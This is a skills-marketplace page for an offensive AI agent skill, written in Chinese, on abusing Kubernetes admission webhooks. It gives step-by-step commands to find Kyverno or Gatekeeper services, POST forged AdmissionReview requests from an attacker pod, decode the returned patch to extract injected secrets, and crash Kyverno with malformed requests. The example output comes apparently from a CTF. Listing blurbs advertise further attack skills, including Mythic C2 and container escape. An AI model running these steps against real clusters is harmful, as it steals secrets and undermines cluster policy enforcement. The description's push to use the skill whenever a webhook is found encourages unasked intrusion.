skills/cloud/k8s-webhook-abuse/SKILL.md
Kubernetes Admission Webhook 滥用与策略引擎利用。当集群存在 Kyverno/OPA Gatekeeper/自定义 Webhook、DNS 扫描发现 kyverno-svc 或 gatekeeper 服务、或需要从 Mutating Webhook 提取注入的 Secret 时使用。核心手法:伪造 AdmissionReview 请求。任何在 K8s 中发现 Webhook 服务或策略引擎的场景都应使用此技能
npx skillsauth add wgpsec/AboutSecurity k8s-webhook-abuseInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
K8s 的 Admission Webhook 是集群安全的守门人,负责在资源创建/修改时执行策略(注入 Secret、环境变量等)。问题在于:很多 Webhook 不验证请求是否来自 API Server。这意味着攻击者可以从任意 Pod 直接向 Webhook 发送伪造的 AdmissionReview 请求,骗取本应注入到特权 Pod 中的 Secret。
正常流程:
kubectl create pod → API Server → Mutating Webhook → (注入 secret) → 存储
攻击流程:
攻击者 Pod → 直接 POST 到 Webhook → Webhook 返回 patch(含 secret)
# DNS 扫描发现策略引擎
k8spider scan -subnet <service-cidr>
# 常见的 Webhook 服务名
# Kyverno:
# kyverno-svc.kyverno.svc.cluster.local (443)
# kyverno-cleanup-controller.kyverno.svc.cluster.local
# OPA Gatekeeper:
# gatekeeper-webhook-service.gatekeeper-system.svc.cluster.local
# 自定义:
# *-webhook-service.*
# 检测 Webhook 端点
curl -k https://kyverno-svc.kyverno.svc.cluster.local/mutate
# GET 请求返回 "only POST/OPTIONS supported" → 说明服务可达且未验证来源
构造一个假的 Pod 创建请求发给 Webhook,骗它返回 mutation patch。
完整 JSON payload 模板见 → references/admission-review-template.md
关键字段说明:
namespace — 必须匹配策略的 match 条件(如 sensitive-ns),否则 Webhook 不会触发 mutationkind / requestKind — 必须填写,缺失会导致 Kyverno panicoperation — 通常用 CREATEobject.spec.containers — 至少包含一个容器定义# 保存 JSON(从 references/admission-review-template.md 获取完整模板)
cat > /tmp/admission.json << 'EOF'
... 完整 JSON ...
EOF
# 发送到 Kyverno mutate 端点
curl -k -X POST \
-H "Content-Type: application/json" \
-d @/tmp/admission.json \
https://kyverno-svc.kyverno.svc.cluster.local/mutate
# 注意事项(踩坑经验):
# - 必须 HTTPS + -k(自签证书)
# - 必须 Content-Type: application/json
# - 不要加 --http1.1(Kyverno 需要 HTTP/2,否则 stream 断开)
# - namespace 必须匹配策略的 match 条件
响应中的 response.patch 是 Base64 编码的 JSONPatch:
# 从响应中提取 patch
echo '<patch-base64>' | base64 -d | jq .
# 输出示例:
# [{"op":"add","path":"/spec/containers/0/env","value":[{"name":"FLAG","value":"wiz_k8s_lan_party{...}"}]}]
端点和请求格式见 → references/admission-review-template.md
发送缺少 requestKind/requestResource 的不完整 AdmissionReview,Kyverno 会 panic(空指针解引用)。这虽然不直接有用,但能确认 Webhook 不验证调用方身份。
| 引擎 | 端点 | 端口 | 类型 |
|------|------|------|------|
| Kyverno | /mutate, /validate | 443 | Mutating + Validating |
| OPA Gatekeeper | /v1/admit | 443 | Validating |
| 自定义 | /mutate, /validate, /webhook | 443/8443 | 取决于实现 |
namespace 字段必须匹配策略的 match 条件才能触发 mutationrequestKind 和 requestResource 字段不能为空(否则 Kyverno 会 panic)--http1.1),且必须带 Content-Type: application/jsontesting
Azure 云环境渗透测试总体方法论。当目标使用 Azure/Microsoft 365/Entra ID、发现 Azure 相关资产(Blob Storage/App Service/Azure VM/Azure Functions)、获取 Azure 凭据(Service Principal/Managed Identity/Access Token)、或需要对 Azure 环境进行安全评估时使用。提供从未授权枚举到 Entra ID 攻击、服务提权、Cloud-to-OnPrem 横向移动的全流程决策树。覆盖 35+ Azure 服务攻击面
tools
Mythic C2 操作方法论。当需要部署 Mythic、选择 Mythic Agent、安装 C2 Profile、配置 HTTP/DNS/WebSocket/SMB/TCP 通信、生成 payload、管理回连任务,或把 Mythic 作为跨平台 C2 框架用于授权红队演练时使用。覆盖 mythic-cli 安装、Agent/Profile 选择、SSL 证书配置、payload 构建和基础 OPSEC 判断
development
Docker 安全测试与容器渗透方法论。当需要评估 Docker 容器、Docker Daemon、Docker Registry、镜像层、构建产物或容器逃逸风险时使用。覆盖容器环境识别、特权容器逃逸、docker.sock/Remote API 利用、procfs/cgroup/capabilities 滥用、Docker 用户组提权、运行时/内核 CVE、Registry 枚举、镜像层 Secret 分析和构建上下文泄露。发现 Docker 容器环境、Registry 暴露、镜像凭据或容器配置错误时应使用此技能
development
使用 PadBuster 进行 Padding Oracle 攻击。当发现 Web 应用使用 CBC 模式加密且存在 Padding Oracle 漏洞时使用。PadBuster 可自动解密密文和伪造任意明文对应的合法密文,适用于加密 Cookie/Token/URL 参数。任何涉及 Padding Oracle 攻击、CBC 密文解密、Cookie 伪造的场景都应使用此技能